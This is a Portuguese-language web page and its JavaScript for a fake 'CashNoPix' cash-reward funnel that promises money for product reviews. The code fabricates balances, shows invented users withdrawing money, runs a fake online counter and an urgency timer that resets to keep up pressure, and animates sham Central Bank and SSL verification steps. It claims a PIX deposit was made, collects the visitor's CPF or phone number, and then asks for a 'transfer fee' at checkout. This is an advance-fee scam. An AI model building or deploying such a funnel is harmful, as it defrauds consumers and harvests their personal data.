Parabéns!
Você acaba de ganhar
1 licença gratuita com um saldo de
R$ 51,23!
Para sacar, basta realizar 3 avaliações!
Seu progresso: 1/12
$ R$ 0,00
em potencial
encontrado
Buscando...
0%
Calculando valores de recompensa...
Fernanda G. esqueceu R$ 89,01 de cashback
VALOR: R$ 89,01
02:14
O que você achou do produto?
Samsung Galaxy S26 Ultra
$
Saldo atualizado!
Você recebeu:
R$ 95,50
Nu
Você recebeu um PIX!
R$ 0,05 de CashNoPix Pagamentos
agora
Parabéns!
Você acaba de
ganhar R$ 202,09!
Assista um curto
vídeo com um passo a passo explicativo para você aprender a cadastrar sua chave PIX e
realizar o seu primeiro SAQUE.
CashNoPix
No final do vídeo será liberada a verificação da sua chave Pix para saque
🔒
O botão será desbloqueado no final do vídeo
Parabéns!
Você acumulou o
saldo de
R$ 202,09
Cadastre sua chave
PIX para o próximo passo!
Verificação de Segurança
1
Iniciando protocolo de transferência...
2
Sincronizando com gateway Bacen...
3
Autenticando chave PIX via SSL...
PIX enviado com
sucesso!
O valor de R$ 0,05 foi depositado na sua conta.
Verifique suas notificações ou extrato bancário.
Complete as etapas
restantes para realizar seu saque completo!
Taxa de Transferência pendente!
Para sacar seus
R$ 202,09, você deve confirmar seu registro.
Atenção
Como forma de pré-validação, será depositado o valor de R$ 0,05 em
sua conta.
Certifique-se de inserir corretamente a chave PIX, pois é por meio dela que você receberá o valor
acumulado e os futuros pagamentos do CashNoPix.
CashNoPix
No final do vídeo será liberada a verificação da sua chave Pix para saque
🔒
O botão será desbloqueado no final do vídeo
Segurando R$ 467,38 de Saldo
Sua chave PIX foi vinculada com sucesso. Estamos abrindo o canal criptografado de liberação do Banco Central.
Ambiente Criptografado Ativo
Marcos R. acabou de sacar R$ 467,38
Saque Realizado com Sucesso
// --- UTM PASSER (ULTRA ROBUST) ---
function getUTMs() {
const params = new URLSearchParams(window.location.search);
const utms = {};
const utmKeys = ['utm_source', 'utm_medium', 'utm_campaign', 'utm_term', 'utm_content', 'src', 'sck', 'xcod', 'fbclid', 'gclid'];
// 1. Prioridade: URL
utmKeys.forEach(key => {
if (params.get(key)) utms[key] = params.get(key);
});
// 2. Fallback: LocalStorage (Padrão + UTMify)
utmKeys.forEach(key => {
if (!utms[key]) {
utms[key] = localStorage.getItem(key) || localStorage.getItem('_' + key) || "";
}
});
// 3. Fallback UTMify Objeto Completo (Caso eles salvem tudo junto)
try {
const utmifyData = JSON.parse(localStorage.getItem('utmify_params') || '{}');
utmKeys.forEach(key => {
if (!utms[key] && utmifyData[key]) utms[key] = utmifyData[key];
});
} catch(e) {}
return utms;
}
function goToCheckout(event) {
event.preventDefault();
// Exibe a tela de transição de saldo com animação dramática
hideAllSteps();
document.getElementById('step-redirecting').classList.remove('hidden-step');
// Set dynamic balance on redirecting screen
const elRedirectBal = document.getElementById('redirecting-balance');
if (elRedirectBal) {
elRedirectBal.textContent = formatMoney(globalBalance);
}
// Ensure balance is saved to localStorage just in case
localStorage.setItem('customer_balance', globalBalance.toString());
const utmString = new URLSearchParams(getUTMs()).toString();
const target = event.currentTarget.getAttribute('href');
const finalDestination = target + (utmString ? "?" + utmString : "");
// Aguarda 2.8 segundos de "conexão criptografada" antes de redirecionar
setTimeout(() => {
window.location.href = finalDestination;
}, 2800);
}
// --- VALORES CREDÍVEIS (NÚMEROS QUEBRADOS) ---
// Cada visita gera um saldo inicial "calculado pelo algoritmo"
function generateCredibleBalance() {
// Gera um valor entre 45.30 e 53.90 com centavos quebrados
const bases = [45.30, 46.17, 47.80, 48.93, 49.67, 51.23, 52.41, 53.87];
return bases[Math.floor(Math.random() * bases.length)];
}
// ===== RANDOM CODE GENERATION =====
function generateRandomCode() {
const chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ';
let result = '';
for (let i = 0; i < 4; i++) {
result += chars.charAt(Math.floor(Math.random() * chars.length));
}
return result;
}
// DB DO FUNIL OFFLINE
const sequenceData = [
{
radarValue: 55.50,
productName: "Samsung Galaxy S26 Ultra",
productBrand: "Samsung",
productImage: "./images/s26-ultra.png",
rewardValue: 55.50,
progressPercent: 51,
progressFraction: "1/12"
},
{
radarValue: 48.30,
productName: "Jogo de Panelas de Cerâmica Monaco",
productBrand: "Tramontina",
productImage: "./images/panelas-americanas.webp",
rewardValue: 48.30,
progressPercent: 52,
progressFraction: "2/12"
},
{
radarValue: 48.29,
productName: "Fogão de Indução Electrolux com Duplo Forno",
productBrand: "Electrolux",
productImage: "./images/fogao-casas-bahia.webp",
rewardValue: 48.29,
progressPercent: 53,
progressFraction: "3/12"
},
{
radarValue: 72.80,
productName: "Geladeira Smart Bespoke",
productBrand: "Samsung",
productImage: "./images/geladeira-bespoke.png",
rewardValue: 72.80,
progressPercent: 55,
progressFraction: "4/12"
},
{
radarValue: 55.60,
productName: "iPhone 17 Pro Max",
productBrand: "Apple",
productImage: "./images/iPhone 17 Pro Max.png",
rewardValue: 55.60,
progressPercent: 51,
progressFraction: "5/12"
},
{
radarValue: 51.60,
productName: "Smart TV Neo QLED 8K 75\"",
productBrand: "Samsung",
productImage: "./images/tv-neo-qled.png",
rewardValue: 51.60,
progressPercent: 60,
progressFraction: "6/12"
}
].map(p => ({ ...p, code: generateRandomCode() }));
let currentStepIndex = 0;
let globalBalance = generateCredibleBalance();
let quizInterval;
let urgencyInterval;
let urgencySeconds = 299; // 4:59
const randomNames = ["Fernanda G.", "Ricardo M.", "Juliana S.", "Marcos P.", "Amanda L.", "Bruno C.", "Tatiane R.", "Felipe A."];
const elBalance = document.getElementById('header-balance');
const elProgress = document.getElementById('progress-bar');
const header = document.getElementById('app-header');
const progContainer = document.getElementById('progress-container');
function formatMoney(value) {
return `R$ ${value.toLocaleString('pt-BR', { minimumFractionDigits: 2, maximumFractionDigits: 2 })}`;
}
function animateValue(obj, start, end, duration) {
let startTimestamp = null;
const step = (timestamp) => {
if (!startTimestamp) startTimestamp = timestamp;
const progress = Math.min((timestamp - startTimestamp) / duration, 1);
const currentVal = progress * (end - start) + start;
if (obj) obj.textContent = formatMoney(currentVal);
if (progress < 1) {
window.requestAnimationFrame(step);
} else {
if (obj) obj.textContent = formatMoney(end);
}
};
window.requestAnimationFrame(step);
}
function updateHeaderUI(targetProgressPercent = null) {
elBalance.textContent = formatMoney(globalBalance);
if (targetProgressPercent !== null) {
elProgress.style.width = `${targetProgressPercent}%`;
}
}
function hideAllSteps() {
['step-intro', 'step-searching', 'step-quiz', 'step-code', 'step-reward', 'step-vsl1', 'step-attention', 'step-pre-saque', 'step-pix', 'step-processing', 'step-vsl2', 'step-pix-confirmed', 'step-redirecting'].forEach(id => {
const el = document.getElementById(id);
if (el) el.classList.add('hidden-step');
});
document.body.style.backgroundColor = "#E8F5E9";
document.querySelectorAll('iframe').forEach(iframe => {
try {
iframe.contentWindow.postMessage('pause', '*');
iframe.contentWindow.postMessage('{"method":"pause"}', '*');
const currentSrc = iframe.src;
iframe.src = currentSrc;
} catch (e) { }
});
}
function saveState(stepId) {
// Evita salvar em etapas de transição pura
if (['step-intro', 'step-processing'].includes(stepId)) return;
const state = {
currentStepIndex: currentStepIndex,
globalBalance: globalBalance,
pixRegisteredBefore: !!window.pixRegisteredBefore,
currentStepId: stepId,
timestamp: Date.now()
};
localStorage.setItem('cashnopix_state', JSON.stringify(state));
}
function clearState() {
localStorage.removeItem('cashnopix_state');
}
function showStep(id) {
hideAllSteps();
document.getElementById(id).classList.remove('hidden-step');
window.scrollTo(0, 0);
if (id === 'step-quiz') {
startQuizTimer();
} else {
clearInterval(quizInterval);
}
saveState(id);
}
function startQuizTimer() {
clearInterval(quizInterval);
let timeLeft = 134; // 02:14 similar ao print
const timerEl = document.getElementById('quiz-timer');
const updateTimer = () => {
const mins = Math.floor(timeLeft / 60);
const secs = timeLeft % 60;
timerEl.textContent = `Tempo restante: ${mins.toString().padStart(2, '0')}:${secs.toString().padStart(2, '0')}`;
if (timeLeft <= 0) {
clearInterval(quizInterval);
}
timeLeft--;
};
updateTimer();
quizInterval = setInterval(updateTimer, 1000);
}
// --- TIMER DE URGÊNCIA (AVERÇÃO À PERDA) ---
function startUrgencyTimer() {
clearInterval(urgencyInterval);
const clockEl = document.getElementById('urgency-clock');
const barFill = document.getElementById('expiry-bar-fill');
const updateUrgency = () => {
const mins = Math.floor(urgencySeconds / 60);
const secs = urgencySeconds % 60;
if (clockEl) clockEl.textContent = `${mins.toString().padStart(2, '0')}:${secs.toString().padStart(2, '0')}`;
if (barFill) barFill.style.width = `${(urgencySeconds / 299) * 100}%`;
if (urgencySeconds <= 0) {
clearInterval(urgencyInterval);
// Reseta para manter a pressão
urgencySeconds = 299;
}
urgencySeconds--;
};
updateUrgency();
urgencyInterval = setInterval(updateUrgency, 1000);
}
// --- MAQUINA DE FLUXO ---
function startSearching() {
if (currentStepIndex === 3) {
if (!window.pixRegisteredBefore) {
showPreSaqueReward();
return;
}
}
if (currentStepIndex >= sequenceData.length) {
clearState(); // Fim do funil, limpa o state
document.body.style.backgroundColor = "#4CAF50";
header.classList.add('hidden-step');
progContainer.classList.add('hidden-step');
// Set dynamic balance in VSL 2 header badge
const vsl2HeaderBal = document.getElementById('vsl2-header-balance');
if (vsl2HeaderBal) {
vsl2HeaderBal.textContent = formatMoney(globalBalance);
}
// Store final balance in localStorage for redirect page and checkout
localStorage.setItem('customer_balance', globalBalance.toString());
const wrapper = document.getElementById('vsl2-video-wrapper');
if (wrapper && !document.getElementById('vid-69a63b47260b750c46ab532a')) {
wrapper.innerHTML = `
`;
let s = document.createElement("script");
s.src = "https://scripts.converteai.net/95d7d06e-92ca-4eda-94ca-11a49862f3c0/players/69a63b47260b750c46ab532a/v4/player.js?autoplay=0&controls=1";
s.async = true;
wrapper.appendChild(s);
}
showStep('step-vsl2');
startVsl2Timer();
return;
}
const data = sequenceData[currentStepIndex];
document.getElementById('search-progress-text').textContent = data.progressFraction;
header.classList.remove('hidden-step');
progContainer.classList.remove('hidden-step');
updateHeaderUI(data.progressPercent - 1);
startUrgencyTimer();
showStep('step-searching');
try { document.getElementById('audio-analysis').play(); } catch (e) { }
const targetVal = data.radarValue;
const srText = document.getElementById('search-value-text');
const srBar = document.getElementById('search-progress-bar');
const srPct = document.getElementById('search-percent');
srText.textContent = `R$ 0,00`;
srBar.style.width = `0%`;
srPct.textContent = `0%`;
let ticks = 0;
const limit = 50;
const stepSpeedMultiplier = currentStepIndex === 0 ? 20 : 40 + (currentStepIndex * 12);
const inc = setInterval(() => {
ticks++;
let pct = (ticks / limit) * 100;
let cVal = (ticks / limit) * targetVal;
srText.textContent = formatMoney(cVal);
srBar.style.width = `${pct}%`;
srPct.textContent = `${Math.floor(pct)}%`;
if (ticks >= limit) {
clearInterval(inc);
try { document.getElementById('audio-analysis').pause(); } catch (e) { }
setTimeout(() => {
proceedToCode();
}, 800);
}
}, stepSpeedMultiplier);
}
function showQuizStep() {
const data = sequenceData[currentStepIndex];
const randomName = randomNames[Math.floor(Math.random() * randomNames.length)];
document.getElementById('product-image').src = data.productImage;
document.getElementById('product-name-display').textContent = data.productName;
document.getElementById('random-person').textContent = randomName;
document.getElementById('dynamic-reward-text').textContent = formatMoney(data.rewardValue);
document.getElementById('card-reward-label').textContent = `VALOR: ${formatMoney(data.rewardValue)}`;
updateHeaderUI(data.progressPercent);
showStep('step-quiz');
}
function proceedToCode() {
const data = sequenceData[currentStepIndex];
document.getElementById('generated-code').textContent = data.code;
document.getElementById('code-reward-header').textContent = `Valor: ${formatMoney(data.rewardValue)}`;
for (let i = 1; i <= 4; i++) {
const inp = document.getElementById('code-in-' + i);
inp.value = '';
inp.style.borderColor = "#C8E6C9";
}
document.getElementById('btn-submit-code').disabled = true;
showStep('step-code');
}
function moveToNextCode(currentInput, nextInputId) {
currentInput.value = currentInput.value.replace(/[^A-Za-z]/g, '').toUpperCase();
if (currentInput.value.length >= 1) {
if (nextInputId) document.getElementById(nextInputId).focus();
}
verifyCodeInputContent();
}
function verifyCodeInputContent() {
let fullCode = "";
for (let i = 1; i <= 4; i++) { fullCode += document.getElementById('code-in-' + i).value; }
if (fullCode.length === 4) {
submitCode(fullCode);
}
}
function verifyCode(currentInput) {
currentInput.value = currentInput.value.replace(/[^A-Za-z]/g, '').toUpperCase();
verifyCodeInputContent();
}
// --- PIX / PROCESSAMENTO ---
function selectChave(type) {
document.getElementById('btn-cpf').className = (type === 'cpf') ? 'btn-green' : 'btn-white';
document.getElementById('btn-cpf').style.background = (type === 'cpf') ? '' : 'transparent';
document.getElementById('btn-cpf').style.color = (type === 'cpf') ? 'white' : '#64748B';
document.getElementById('btn-tel').className = (type === 'tel') ? 'btn-green' : 'btn-white';
document.getElementById('btn-tel').style.background = (type === 'tel') ? '' : 'transparent';
document.getElementById('btn-tel').style.color = (type === 'tel') ? 'white' : '#64748B';
document.getElementById('pix-input').value = '';
document.getElementById('btn-submit-pix').disabled = true;
const input = document.getElementById('pix-input');
if (type === 'cpf') {
input.placeholder = "000.000.000-00";
input.maxLength = 14;
} else {
input.placeholder = "(00) 00000-0000";
input.maxLength = 15;
}
}
function formatPix(input) {
let v = input.value.replace(/\D/g, '');
if (document.getElementById('btn-cpf').className.includes('btn-green')) {
v = v.replace(/(\d{3})(\d)/, '$1.$2');
v = v.replace(/(\d{3})(\d)/, '$1.$2');
v = v.replace(/(\d{3})(\d{1,2})$/, '$1-$2');
document.getElementById('btn-submit-pix').disabled = v.length !== 14;
} else {
v = v.replace(/^(\d{2})(\d)/g, '($1) $2');
v = v.replace(/(\d)(\d{4})$/, '$1-$2');
document.getElementById('btn-submit-pix').disabled = v.length !== 15;
}
input.value = v;
}
function processPix() {
const pixKey = document.getElementById('pix-input').value;
if (!pixKey || pixKey.length < 5) {
alert("Por favor, insira uma chave PIX válida.");
return;
}
const btn = document.getElementById('btn-submit-pix');
const originalText = btn.innerHTML;
btn.innerHTML = "Processando...";
btn.disabled = true;
// Transição para tela de processamento
showStep('step-processing');
document.getElementById('card-processing').classList.remove('hidden-step');
document.getElementById('card-pix-success').classList.add('hidden-step');
// Animação do Scanner de Elite
const steps = [1, 2, 3];
steps.forEach((num, index) => {
setTimeout(() => {
const stepEl = document.getElementById(`scan-step-${num}`);
const iconEl = stepEl.querySelector('.step-icon');
stepEl.style.color = "#4CAF50";
iconEl.innerHTML = "✓";
iconEl.style.backgroundColor = "#4CAF50";
iconEl.style.borderColor = "#4CAF50";
iconEl.style.color = "white";
try { document.getElementById('audio-reward').play(); } catch(e){}
}, (index + 1) * 800);
});
setTimeout(() => {
// EXIBE A TELA DE SUCESSO DENTRO DO PROCESSAMENTO
document.getElementById('card-processing').classList.add('hidden-step');
document.getElementById('card-pix-success').classList.remove('hidden-step');
// Marca que o PIX já foi registrado para não pedir de novo no meio
window.pixRegisteredBefore = true;
btn.innerHTML = originalText;
btn.disabled = false;
}, 3500);
}
function continueAfterPix() {
showStep('step-searching');
startSearching();
}
function submitCode(fullCode) {
const data = sequenceData[currentStepIndex];
if (fullCode === data.code) {
showQuizStep();
} else {
for (let i = 1; i <= 4; i++) {
const inp = document.getElementById('code-in-' + i);
inp.style.borderColor = "#EF4444";
inp.style.color = "#EF4444";
}
setTimeout(() => {
for (let i = 1; i <= 4; i++) {
const inp = document.getElementById('code-in-' + i);
inp.value = '';
inp.style.borderColor = "#C8E6C9";
inp.style.color = "#1E293B";
}
document.getElementById('code-in-1').focus();
}, 800);
}
}
function triggerReward() {
const data = sequenceData[currentStepIndex];
try { document.getElementById('audio-reward').play(); } catch (e) { }
let oldBalance = globalBalance;
globalBalance += data.rewardValue;
header.classList.add('hidden-step');
progContainer.classList.add('hidden-step');
showStep('step-reward');
const rewardEl = document.getElementById('reward-value-text');
animateValue(rewardEl, 0, data.rewardValue, 1500);
const headerEl = document.getElementById('header-balance');
animateValue(headerEl, oldBalance, globalBalance, 1500);
}
function nextSequence() {
currentStepIndex++;
startSearching();
}
function showPreSaqueReward() {
document.body.style.backgroundColor = "#4CAF50";
header.classList.add('hidden-step');
progContainer.classList.add('hidden-step');
showStep('step-pre-saque');
const el = document.getElementById('presaqui-balance');
animateValue(el, 0, globalBalance, 1500);
}
// --- VSL 1 ---
function startVsl1() {
document.body.style.backgroundColor = "#4CAF50";
clearInterval(urgencyInterval); // Para o timer de urgência
// Set dynamic header balance in VSL 1
const vsl1HeaderBal = document.getElementById('vsl1-header-balance');
if (vsl1HeaderBal) {
vsl1HeaderBal.textContent = formatMoney(globalBalance);
}
const wrapper = document.getElementById('vsl1-video-wrapper');
if (wrapper && !document.getElementById('vid-69a6399439c8b3b8846e2051')) {
wrapper.innerHTML = `
`;
let s = document.createElement("script");
s.src = "https://scripts.converteai.net/95d7d06e-92ca-4eda-94ca-11a49862f3c0/players/69a6399439c8b3b8846e2051/v4/player.js?autoplay=0&controls=1";
s.async = true;
wrapper.appendChild(s);
}
showStep('step-vsl1');
const TIME_IN_MS = 762000; // 12 minutos e 42 segundos
setTimeout(() => {
document.getElementById('vsl1-lock-container').style.display = 'none';
document.getElementById('vsl1-unlock-container').style.display = 'block';
}, TIME_IN_MS);
}
// --- VSL 2 ---
function startVsl2Timer() {
const TIME_IN_MS_VSL2 = 290000;
setTimeout(() => {
const lock = document.getElementById('vsl2-lock-container');
const unlock = document.getElementById('vsl2-unlock-container');
if (lock) lock.style.display = 'none';
if (unlock) unlock.style.display = 'block';
}, TIME_IN_MS_VSL2);
}
function showCadastroPix() {
const vsl1 = document.getElementById('vid-69a6399439c8b3b8846e2051');
if (vsl1) vsl1.remove();
showStep('step-attention');
setTimeout(() => {
document.getElementById('final-balance-text').textContent = formatMoney(globalBalance);
}, 50);
}
function showOauthAttention() {
header.classList.remove('hidden-step');
progContainer.classList.add('hidden-step');
showStep('step-pix');
const el = document.getElementById('final-balance-text');
animateValue(el, 0, globalBalance, 1500);
// Also update final-checkout-balance just in case
const elFinalCheckout = document.getElementById('final-checkout-balance');
if (elFinalCheckout) {
elFinalCheckout.textContent = formatMoney(globalBalance);
}
}
// --- EFEITO CONFETI AO CARREGAR ---
// --- ELITE UI LOGIC (Online Counter, Spots, Notifications) ---
const firstNames = ["Marcos", "Lucas", "Ana", "Julia", "Ricardo", "Fernanda", "Gabriel", "Beatriz", "Thiago", "Carla"];
const lastInitials = ["R.", "S.", "M.", "L.", "P.", "C.", "A.", "F.", "G.", "B."];
function showNotification() {
const notif = document.getElementById('payout-notification');
const name = firstNames[Math.floor(Math.random() * firstNames.length)];
const initial = lastInitials[Math.floor(Math.random() * lastInitials.length)];
const value = (Math.random() * (600 - 150) + 150).toFixed(2).replace('.', ',');
document.getElementById('notif-text').innerHTML = `${name} ${initial} acabou de sacar
R$ ${value}`;
notif.classList.add('show');
setTimeout(() => {
notif.classList.remove('show');
}, 4000);
}
function initEliteFeatures() {
// Online Counter
setInterval(() => {
const counter = document.getElementById('online-counter');
if(!counter) return;
let val = parseInt(counter.innerText.replace('.', ''));
val += Math.floor(Math.random() * 5) - 2;
counter.innerText = val.toLocaleString('pt-BR');
}, 3000);
// Spots Counter
setInterval(() => {
const spots = document.getElementById('spots-counter');
if(!spots) return;
let val = parseInt(spots.innerText);
if (val > 3 && Math.random() > 0.8) {
val--;
spots.innerText = val;
}
}, 10000);
// First notification after 5s, then every 12s
setTimeout(() => {
showNotification();
setInterval(showNotification, 12000);
}, 5000);
}
window.addEventListener('load', () => {
initEliteFeatures();
// VERIFICA SE TEM STATE SALVO
const savedStateStr = localStorage.getItem('cashnopix_state');
let restored = false;
if (savedStateStr) {
try {
const state = JSON.parse(savedStateStr);
// Checa se passou menos de 24 horas (24 * 60 * 60 * 1000)
if (Date.now() - state.timestamp < 86400000) {
currentStepIndex = state.currentStepIndex;
globalBalance = state.globalBalance;
window.pixRegisteredBefore = state.pixRegisteredBefore;
document.getElementById('intro-loading').style.display = 'none';
document.getElementById('intro-gift').classList.add('hidden-step');
document.getElementById('step-intro').classList.add('hidden-step');
restored = true;
// Redireciona para o passo exato
if (state.currentStepId === 'step-quiz') {
showQuizStep();
} else if (state.currentStepId === 'step-code') {
proceedToCode();
} else if (state.currentStepId === 'step-pre-saque') {
showPreSaqueReward();
} else if (state.currentStepId === 'step-pix') {
showOauthAttention();
} else if (state.currentStepId === 'step-attention') {
showCadastroPix();
} else if (state.currentStepId === 'step-vsl1') {
startVsl1();
} else if (state.currentStepId === 'step-reward') {
// Se estava vendo o reward, vai pro próximo logo
startSearching();
} else {
// Default: searching
startSearching();
}
} else {
clearState();
}
} catch(e) {
clearState();
}
}
if (!restored) {
// Atualiza o valor dinâmico na intro e header
const introBalanceEl = document.getElementById('intro-balance-value');
if (introBalanceEl) introBalanceEl.textContent = formatMoney(globalBalance) + '!';
if (elBalance) elBalance.textContent = formatMoney(globalBalance);
// INTRO SEQUENCE: Loading -> Box Pops up with Present -> Present Explodes -> Shows Text
setTimeout(() => {
const loadingScreen = document.getElementById('intro-loading');
const giftScreen = document.getElementById('intro-gift');
if (loadingScreen && giftScreen) {
// Hide loading, show the box
loadingScreen.style.display = 'none';
giftScreen.classList.remove('hidden-step');
giftScreen.classList.add('pop-up-card');
// The explode-animation on the present runs automatically for 2.5s.
// After 2.5s, we swap the present for the reward content
setTimeout(() => {
const presentOnly = document.getElementById('box-present-only');
const rewardContent = document.getElementById('box-reward-content');
if (presentOnly && rewardContent) {
presentOnly.style.display = 'none';
rewardContent.style.display = 'flex';
}
}, 2500);
}
}, 2500);
}
var duration = 3 * 1000;
var animationEnd = Date.now() + duration;
var defaults = { startVelocity: 30, spread: 360, ticks: 60, zIndex: 9999 };
function randomInRange(min, max) {
return Math.random() * (max - min) + min;
}
var interval = setInterval(function () {
var timeLeft = animationEnd - Date.now();
if (timeLeft <= 0) {
return clearInterval(interval);
}
var particleCount = 50 * (timeLeft / duration);
confetti(Object.assign({}, defaults, { particleCount, origin: { x: randomInRange(0.1, 0.3), y: Math.random() - 0.2 } }));
confetti(Object.assign({}, defaults, { particleCount, origin: { x: randomInRange(0.7, 0.9), y: Math.random() - 0.2 } }));
}, 250);
});